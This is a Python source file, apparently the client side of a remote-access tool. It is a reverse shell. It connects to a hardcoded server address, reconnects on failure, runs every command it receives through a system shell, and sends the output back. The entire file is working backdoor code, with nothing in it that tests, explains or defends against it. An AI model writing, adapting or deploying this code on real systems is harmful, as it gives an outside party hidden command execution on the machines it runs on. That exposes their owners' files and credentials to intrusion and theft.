from socket import *
import subprocess
import os
import time
import sys

ip = '192.168.1.88'  # server ip, which you want to connect to
port = 4343  # the port needs to be the same as server.py port in order to connect with server

class Client:
    def __init__(self, _host, _port=3434):
        self.host = _host
        self.port = _port
        self.s = None

        self.launch()

    # run younioner
    def launch(self):
        try:
            self.open_socket()
            self.receive_commands()
            self.chat()

        except error as e:
            time.sleep(6)
            self.launch()

    # will create the socket
    def open_socket(self):
        try:
            self.s = socket(AF_INET, SOCK_STREAM)
            self.s.connect((self.host, self.port))

        except:
            time.sleep(5)
            self.open_socket()

    # receive commands from the Server
    def receive_commands(self):
        try:
            while True:
                data = self.s.recv(1024)
                striped_data = data[:].strip().decode("utf-8")

                if striped_data[:2] == 'cd':
                    os.chdir(striped_data[3:])

                if len(data) > 0:
                    try:
                        cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stderr=subprocess.PIPE,
                                               stdout=subprocess.PIPE, stdin=subprocess.PIPE)
                        result = str(cmd.stdout.read() + cmd.stderr.read(), "utf-8")

                        self.s.send(str.encode(result + str(os.getcwd()) + " > "))
                    except:
                        result = "Command not recognized \n"
                        self.s.send(str.encode(result + str(os.getcwd()) + " > "))


                # this condition will work when the user quit server.py
                if striped_data == "end-of-session":
                    time.sleep(2)
                    self.s.close()
                    sys.exit(0)
                    os._exit(0)
                    exit(0)
                    quit(0)

            self.s.close()

        except:
            time.sleep(5)
            self.receive_commands()

if __name__ == '__main__':
    c = Client(ip, port)